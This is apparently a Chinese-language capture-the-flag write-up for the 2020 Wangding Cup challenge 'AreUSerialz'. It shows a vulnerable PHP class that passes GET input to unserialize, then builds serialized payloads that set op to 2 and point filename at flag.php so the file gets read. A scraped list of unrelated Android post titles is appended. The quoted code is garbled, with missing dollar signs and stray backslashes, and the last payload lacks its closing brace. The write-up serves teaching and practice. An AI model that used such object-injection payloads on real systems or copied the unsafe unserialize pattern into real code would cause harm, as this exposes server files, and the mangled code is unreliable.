[网鼎杯 2020 青龙组]AreUSerialz1

打开题目

熟悉的php,代码审计

可知这是一题反序列化类型的题目。

按照常规方法,首先,我们先将代码复制到本地进行序列化构造,

根据代码逻辑分析,咱们可知 function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

_destruct()析构函数当对象被销毁时会被自动调用;所以当反序列化函数调用时,会触发这个

分析此方法内的代码逻辑,当我们需要它正确输出flag时此魔术方法调用后会接着正确调用此对象中的process()方法和output()方法,所以write()方法也可以删除不用看, protected $content属性也可直接删了。

<?

include("flag.php");

highlight_file(FILE);

class FileHandler {

protected $op;

protected $filename;

public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

res = this->read();

this-\>output(res);

} else {

$this->output("Bad Hacker!");

}

}

private function read() {

$res = "";

if(isset($this->filename)) {

res = file_get_contents(this->filename);

}

return $res;

}

private function output($s) {

echo "[Result]: <br>";

echo $s;

}

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->process();

}

}

function is_valid($s) {

for(i = 0; i < strlen(s); i++)

if(!(ord(s\[i]) >= 32 && ord(s\[i]) <= 125))

return false;

return true;

}

if(isset($_GET{'str'})) {

str = (string)_GET['str'];

if(is_valid($str)) {

obj = unserialize(str);

}

}

根据构造函数is_valid($s) 可知,

s的值ASCII码范围得在32\<=s<=125;

再根据构造函数read()可知,

$filename值基本为flag.php

根据上述信息,构造第一个序列化值得到:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

php将属性类型换成public

<?php

include("flag.php");

highlight_file(FILE);

class FileHandler {

public $op=2;

public $filename="flag.php";

}

O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";

相关推荐
IT痴者1 小时前
《PerfettoSQL 的通用查询模板》---Android-trace
android·开发语言·python
游戏开发爱好者81 小时前
iOS IPA 上传工具全面解析,从 Transporter 到开心上架(Appuploader)命令行的高效上架实践
android·ios·小程序·https·uni-app·iphone·webview
alexhilton3 小时前
Jetpack Compose中的阴影艺术
android·kotlin·android jetpack
百***61876 小时前
Spring的构造注入
android·java·spring
Tom4i7 小时前
Kotlin 中的 inline 和 reified 关键字
android·开发语言·kotlin
yi诺千金7 小时前
Android U 自由窗口(浮窗)——启动流程(system_server侧流程)
android
清空mega10 小时前
第11章 网络编程
android·网络
自动化BUG制造器10 小时前
Android UI 线程不一定是主线程
android
无知的前端10 小时前
一文读懂-Jetpack与AndroidX
android·kotlin·android jetpack
河铃旅鹿12 小时前
Android开发-java版:SQLite数据库
android·数据库·笔记·学习·sqlite